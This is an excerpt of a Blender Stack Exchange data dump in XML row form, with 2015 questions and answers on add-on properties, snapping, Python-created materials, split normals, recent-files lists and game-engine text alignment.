  <row Id="35233" PostTypeId="2" ParentId="35223" CreationDate="2015-08-07T07:23:18.103" Score="3" Body="&lt;p&gt;The two main problems with your script are &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you are assigning to &lt;code&gt;bpy.data.*&lt;/code&gt; in the register function, that won't be allowed when the add-on's &lt;code&gt;register()&lt;/code&gt; is called on startup&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the content of &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].PL_Project_List&lt;/code&gt; isn't what you expect. See the python console..  (if you can't assign something via console, it's not likely to work in a script)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.scenes[&quot;Scene&quot;].PL_Project_List = 'yello'&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  AttributeError: 'Scene' object has no attribute 'PL_Project_List'&#xA;&#xA;# this would work (called an ID property) but it has a limited&#xA;# range of acceptable data types (it must be stringifyable)&#xA;# _and_ you still can't do this in register + startup&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.scenes[&quot;Scene&quot;]['PL_Project_List'] = 'yello'&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.scenes[&quot;Scene&quot;]['PL_Project_List']&#xA;'yello'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Properties#RNA_properties_versus_ID_properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;RNA props vs ID props&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've reduced this to what I think is the core of the problem. If it doesn't work for one, it won't work for any. There's nothing stopping you from using Python dicts as Cache objects.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Imports&#xA;import bpy&#xA;import requests&#xA;from bpy.types import Panel, Operator&#xA;from bpy.props import EnumProperty&#xA;&#xA;&#xA;def fake_request():&#xA;    return [{'p_project': str(i), 'project_reference': str(i**2), 'project_name': str((i**2 / 2))} for i in range(3)]&#xA;&#xA;&#xA;# think of it as a cache dict / list&#xA;PL_Project_List = {}&#xA;&#xA;&#xA;class FILEBROWSER_PT_Pipeline(Panel):&#xA;&#xA;    bl_space_type = 'FILE_BROWSER'&#xA;    bl_region_type = 'TOOLS'&#xA;    bl_label = &quot;Asset management&quot;&#xA;    bl_category = &quot;Pipeline tools&quot;&#xA;&#xA;    def draw(self, context):&#xA;        l = self.layout&#xA;        r = l.row(align=True)&#xA;        r.prop(context.scene, &quot;PL_Project&quot;)&#xA;&#xA;&#xA;def change_project_list(self, context):&#xA;    return [(p['p_project'], p['project_reference'], p['project_name']) for p in PL_Project_List['projects']]&#xA;&#xA;&#xA;def register():&#xA;    PL_Project_List['projects'] = fake_request()&#xA;    bpy.types.Scene.PL_Project = EnumProperty(items=change_project_list, name=&quot;Project&quot;)&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.PL_Project&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OLGnd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OLGnd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This part is only really useful for the development stage, and running the addon from TextEditor after hitting F8 a few times to clear the Python added stuff.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's running as an addon, but you aren't testing from TextEditor it's still not a good idea to rely on this construct of &lt;code&gt;if __name__ == &quot;__main__&quot;&lt;/code&gt; to populate the data structures.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;But how &lt;em&gt;do&lt;/em&gt; I populate my lists?&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Either have a button on the layout to 'populate lists', or 'update lists' (people like updates!)&lt;/li&gt;&#xA;&lt;li&gt;Or populate an object like a Dictionary as a cache object (shown above, this PL_Project_List is a dict, so maybe that's a bad name.. I'd settle for &lt;code&gt;PL_Project_Cache&lt;/code&gt; -- this object is local to this file only, unless the file is imported by some other file, it's not strictly a 'global' )&lt;/li&gt;&#xA;&lt;li&gt;Or investigate how to store the info in a &lt;code&gt;CollectionProperty&lt;/code&gt; / &lt;code&gt;PropertyGroup&lt;/code&gt; ( good reference is here : &lt;a href=&quot;https://blender.stackexchange.com/questions/16511/how-can-i-store-and-retrieve-a-custom-list-in-a-blend-file&quot;&gt;How can I store and retrieve a custom list in a blend file?&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or if you are comfortable stringifying your incoming data (i expect the database information to be lightweight.. not 100mb of lists..)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.types.Scene.PL_Project_List = bpy.props.StringProperty()&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.types.Scene.PL_Project_List = 'yello'&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.types.Scene.PL_Project_List&#xA;'yello'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-07T08:37:32.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35234" PostTypeId="2" ParentId="35231" CreationDate="2015-08-07T07:24:24.657" Score="3" Body="&lt;p&gt;I would Select the &lt;em&gt;Edge&lt;/em&gt; I want the stairs to be,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZmZix.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZmZix.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would duplicate the edge and convert it into a curve by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; - 'Curve from Mesh/Text',&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ol6x5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ol6x5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and Finally I would give the stairs Curve Modifier, and as an object to deform with I would select my Curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;don't forget to subdivide the stairs&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/C1iqj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C1iqj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-07T07:24:24.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35235" PostTypeId="1" AcceptedAnswerId="35236" CreationDate="2015-08-07T07:41:17.240" Score="2" ViewCount="2062" Body="&lt;p&gt;I accidently somehow enabled jumping when moving objects (when you move an object it moves by short and precise steps) and I don't know how to disable it.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="11431" LastEditDate="2015-08-07T08:59:00.660" LastActivityDate="2015-08-07T09:03:30.777" Title="how to turn off jumping by parts when moving (snapping)" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-08-07T14:28:54.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="35236" PostTypeId="2" ParentId="35235" CreationDate="2015-08-07T08:06:12.603" Score="7" Body="&lt;p&gt;click on the magnet (looks like a horseshoe) in the 3D view&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZOCCC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZOCCC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="11431" LastEditDate="2015-08-07T09:03:30.777" LastActivityDate="2015-08-07T09:03:30.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35237" PostTypeId="1" CreationDate="2015-08-07T08:34:59.760" Score="0" ViewCount="454" Body="&lt;p&gt;I would like to be able to apply and edit a material to objects I have create using python script. I am using the cycles render engine but can't find a way to get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a bunch of the answers already given in other threads but none of them seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to: create and apply a new material for each object and adjust the colours using rgb, using nodes or otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is a stupid question, I'm very new to blender scripting!&lt;/p&gt;&#xA;" OwnerUserId="16211" LastActivityDate="2015-08-10T19:30:19.603" Title="How can I apply a basic material to an object using python in cycles render?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-11T12:52:59.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="35238" PostTypeId="2" ParentId="35185" CreationDate="2015-08-07T08:46:43.430" Score="6" Body="&lt;h2&gt;Custom split normals data&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Your model has a custom split normal data (probably due to a &lt;a href=&quot;https://www.blender.org/manual/modifiers/modify/normal_edit.html&quot; rel=&quot;noreferrer&quot;&gt;normal edit modifier&lt;/a&gt; that has been applied or because the mesh was made with another software...) that keep some face shading in that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tu4sB.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tu4sB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need the data, you can clear it to remove the informations, or you can just disable auto smooth to make the split normals data not visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L2zmD.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L2zmD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-07T08:46:43.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35239" PostTypeId="2" ParentId="35185" CreationDate="2015-08-07T08:50:26.277" Score="0" Body="&lt;p&gt;Give your mesh an &lt;em&gt;Edge Split&lt;/em&gt; Modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W9oK4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9oK4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IwYcs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwYcs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-07T08:50:26.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35241" PostTypeId="1" AcceptedAnswerId="35242" CreationDate="2015-08-07T08:51:50.973" Score="8" ViewCount="2342" Body="&lt;p&gt;I know that i can set Pivot point to the 3d cursor mode on the tool bar, and then scale selected edges, and edges will be scaled towards the 3d cursor. But how to move the edges to the cursor without scaling?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uhCp4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhCp4.png&quot; alt=&quot;example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16210" LastActivityDate="2015-08-07T08:56:30.273" Title="How to move selected edges toward 3D cursor?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-08-07T14:28:18.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="35242" PostTypeId="2" ParentId="35241" CreationDate="2015-08-07T08:56:30.273" Score="13" Body="&lt;p&gt;select your faces, use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; then select &quot;selection to cursor (offset)&quot;.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VEmgd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VEmgd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-07T08:56:30.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35243" PostTypeId="1" AcceptedAnswerId="35251" CreationDate="2015-08-07T10:33:05.327" Score="4" ViewCount="2399" Body="&lt;p&gt;As a BSE user, I have to open many files from other users. The problem is that they're stored in the recent files list and my personal works are just disapearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to choose a recent-files.txt when Blender starts, why not on splash screen, and be able to set one of them as default (when opening a file from explorer). Is it possible ?&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-07T21:31:34.347" Title="Choosing recent files list at startup" Tags="&lt;python&gt;&lt;interface&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35244" PostTypeId="1" CreationDate="2015-08-07T10:56:44.677" Score="26" ViewCount="69532" Body="&lt;p&gt;Is there a simple and quick way to add a vertex to an existing edge? I mean in a similar manner (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;) like a loop cut for the whole object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current workflow is, deleting the edge completely, then I select one of the vertices and extend it via &lt;kbd&gt;E&lt;/kbd&gt; shortcut. Is there an easier method to get an extra vertex like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ut1D0.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ut1D0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16214" LastEditorUserId="1363" LastEditDate="2015-08-07T22:06:57.793" LastActivityDate="2019-06-15T15:40:59.663" Title="Split an edge in two?" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35245" PostTypeId="2" ParentId="35244" CreationDate="2015-08-07T10:59:47.130" Score="34" Body="&lt;p&gt;Select your edge, open the edge menu with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; or the specials menu with &lt;kbd&gt;W&lt;/kbd&gt; and select &quot;subdivide&quot;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZTL7t.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZTL7t.png&quot; alt=&quot;subd edge&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-07T10:59:47.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35246" PostTypeId="1" CreationDate="2015-08-07T11:17:04.550" Score="2" ViewCount="352" Body="&lt;p&gt;I am new with Game Engine, and I have a problem with something similar to bike chain. During simple animation, I used array modifier to duplicate those single chain elements, and then I used curve modifier, so that this chain was moving on a path created by me. Seems that all of those arragements don't work in Game Engine at all. Could anyone give me a hand with developing this on-curve-movement in Game Engine?Thank you very much for any help! With regards:)&lt;/p&gt;&#xA;" OwnerUserId="16215" LastActivityDate="2015-08-07T14:32:10.807" Title="Movement of array along curve in BGE" Tags="&lt;game-engine&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35247" PostTypeId="2" ParentId="5668" CreationDate="2015-08-07T11:54:32.107" Score="1" Body="&lt;p&gt;Another way to do this is. It picks up a material if it exists, else creates a new one with that name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mat_name = &quot;MyMaterial&quot;&#xA;materials = bpy.data.materials&#xA;&#xA;# if .get returns None, the assignment comes from the right of the 'or'&#xA;mat = materials.get(mat_name) or materials.new(mat_name)   # *** see comment&#xA;mat.use_nodes = True&#xA;nodes = mat.node_tree.nodes&#xA;&#xA;# Add a diffuse shader and set its location:    &#xA;node = nodes.new('ShaderNodeBsdfDiffuse')&#xA;node.location = (100,100)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I expected this to work, but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = materials.get(mat_name, materials.new(mat_name))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-07T12:02:40.590" LastActivityDate="2015-08-07T12:02:40.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35248" PostTypeId="1" AcceptedAnswerId="35250" CreationDate="2015-08-07T12:07:53.667" Score="4" ViewCount="639" Body="&lt;p&gt;I've been creating a spaceship and I am now trying to set up the compositing nodes. For that, I am using pass indexes for materials, so I can change the effects in compositing nodes and i am having 3 different render layers: spaceship, afterburn and one more layer for slipstream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to place spaceship layer in front of afterburn so the glow effect of the afterburn would be exactly behind the spaceship and wouldn' t affect spaceship layer itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can' t understand what I am doing wrong. Connecting two layers (spaceship and afterburn with glow effects) into mix shader's image sockets and spaceship's render layer alpha wire into the same mix shader's Fac input nothing happens. The spaceship layer doesn' t get placed in front of afterburn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here' s also an image for summarizing my problem. In other words, the glow of the afterburn affects the spaceship:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5N3Xf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5N3Xf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/401/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=401&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16148" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-08-07T15:38:54.553" Title="Moving a layer behind another one to apply a glow effect" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;compositor&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35249" PostTypeId="1" CreationDate="2015-08-07T12:15:34.083" Score="1" ViewCount="460" Body="&lt;p&gt;How to add update function? I tried this its wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pbone = bpy.data.objects[ControleObj].pose.bones[ControleBone]&#xA;&#xA;pbone[ControleName] = min&#xA;&#xA;if &quot;_RNA_UI&quot; not in pbone.keys():&#xA;    pbone[&quot;_RNA_UI&quot;] = {}&#xA;&#xA;pbone[&quot;_RNA_UI&quot;].update({&quot;myControl&quot;: {&quot;min&quot;:0.0, &quot;max&quot;:1.0, &quot;soft_min&quot;:0.0, &quot;soft_max&quot;:1.0, &quot;update&quot; = FunctionName }})`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2015-08-07T14:33:13.923" LastActivityDate="2015-08-07T14:33:13.923" Title="How to add update function to custom property using _RNA_UI" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35250" PostTypeId="2" ParentId="35248" CreationDate="2015-08-07T12:20:53.520" Score="5" Body="&lt;p&gt;In render tab, film options just click &quot;transparent&quot; to get alpha&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hnk8u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hnk8u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-07T12:20:53.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35251" PostTypeId="2" ParentId="35243" CreationDate="2015-08-07T13:25:02.217" Score="5" Body="&lt;p&gt;The history file is managed by C code, see e.g. &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/windowmanager/intern/wm_files.c;20bd253809ff5e45270212d0afb2c68fd346944e$740&quot; rel=&quot;nofollow&quot;&gt;wm_files.c&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could exchange the &lt;code&gt;recent-files.txt&lt;/code&gt; by script maybe, then let Blender reload it by calling &lt;code&gt;bpy.ops.wm.read_history()&lt;/code&gt; as seen in &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/startup/bl_operators/wm.py;20bd253809ff5e45270212d0afb2c68fd346944e$1394&quot; rel=&quot;nofollow&quot;&gt;wm.py&lt;/a&gt; (everything else requires changes to the C code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example script that switches &lt;code&gt;recent-files.txt&lt;/code&gt; and an also required &lt;code&gt;recent-files-2.txt&lt;/code&gt; (you need to create this manually) and triggers a refresh of the Recent files list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;fp = bpy.utils.user_resource('CONFIG')&#xA;src = os.path.join(fp, &quot;recent-files.txt&quot;)&#xA;tmp = os.path.join(fp, &quot;recent-files-1.txt&quot;)&#xA;dst = os.path.join(fp, &quot;recent-files-2.txt&quot;)&#xA;&#xA;if os.path.exists(src) and os.path.exists(dst):&#xA;    os.rename(src, tmp)&#xA;    os.rename(dst, src)&#xA;    os.rename(tmp, dst)&#xA;&#xA;    bpy.ops.wm.read_history()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also append to &lt;code&gt;recent-files.txt&lt;/code&gt;, or re-write it completely. Just keep in mind that Blender ignores files that do not exist, and will remove them from the text file.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-08-07T21:31:34.347" LastActivityDate="2015-08-07T21:31:34.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35252" PostTypeId="2" ParentId="34365" CreationDate="2015-08-07T13:34:19.263" Score="0" Body="&lt;p&gt;In Blender I put a moving part of the object at the center of origin and export the object separately. It works for me. Zero coordinate in Blender will be pivot point in Unreal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N7uFB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N7uFB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15826" LastActivityDate="2015-08-07T13:34:19.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35253" PostTypeId="1" CreationDate="2015-08-07T13:43:29.957" Score="0" ViewCount="166" Body="&lt;p&gt;I am trying to import DXF files exported from Gerber but it is not importing the content.&#xA;I used following settings:&#xA;- Replace scene&#xA;- Remove duplicates, Limit 1.00&#xA;- Merge All&#xA;- Thick ON&#xA;- Codec- ASCII&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to choose a different settings?&lt;/p&gt;&#xA;" OwnerUserId="16218" LastActivityDate="2015-08-07T13:43:29.957" Title="Can I import DXF files,exported from Gerber? The DXF file is AAMA file" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35254" PostTypeId="1" AcceptedAnswerId="35262" CreationDate="2015-08-07T14:03:12.610" Score="2" ViewCount="168" Body="&lt;p&gt;Where is(are) the function(s) that, in the image node, transforms a point in UV space (vector that goes into the node) to a color (color of the pixel of the texture)? I can't seem to find such. Thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-08-07T14:49:02.540" Title="Where is the implementation of the Cycles image-nodes sampling?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;image&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35256" PostTypeId="1" CreationDate="2015-08-07T14:22:10.520" Score="2" ViewCount="691" Body="&lt;p&gt;As the title says, after using the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; shortcut to merge several objects into one, and exporting to OBJ and then opening in Pepakura Designer, it acts as if I never connected them at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a helmet, and more specifically, the unfold in pepakura unfolds all of the separate objects and, if i managed to assemble all of the parts, I'd finish with 6 unconnected parts instead of a full connected helmet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can anyone help me? I'm extremely new to Blender and have no idea what to do. I've been looking for a few days now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all.&lt;/p&gt;&#xA;" OwnerUserId="16221" LastEditorUserId="241" LastEditDate="2015-08-07T14:39:33.643" LastActivityDate="2015-08-07T23:16:59.497" Title="A single object in Blender = multiple objects in Pepakura" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35257" PostTypeId="1" AcceptedAnswerId="35260" CreationDate="2015-08-07T14:31:31.030" Score="3" ViewCount="777" Body="&lt;p&gt;My text is aligned at right in the game engine even if I aligned it at center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DSoYC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSoYC.png&quot; alt=&quot;Text center&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5h4Qd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5h4Qd.png&quot; alt=&quot;Text align center&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when the game is launched, it is aligned to right.&lt;/p&gt;&#xA;" OwnerUserId="16222" LastEditorUserId="2217" LastEditDate="2015-08-07T14:50:55.903" LastActivityDate="2015-08-07T15:04:21.353" Title="Text does not stay center aligned in game engine" Tags="&lt;game-engine&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35260" PostTypeId="2" ParentId="35257" CreationDate="2015-08-07T14:37:56.777" Score="0" Body="&lt;p&gt;One obvious thing would be to convert it to a mesh. I recommend you keep a copy of the original object. Select your text in object mode, then hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, and convert the text to a curve, then hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; again to convert the curve to a mesh.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastEditorUserId="3710" LastEditDate="2015-08-07T15:04:21.353" LastActivityDate="2015-08-07T15:04:21.353" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
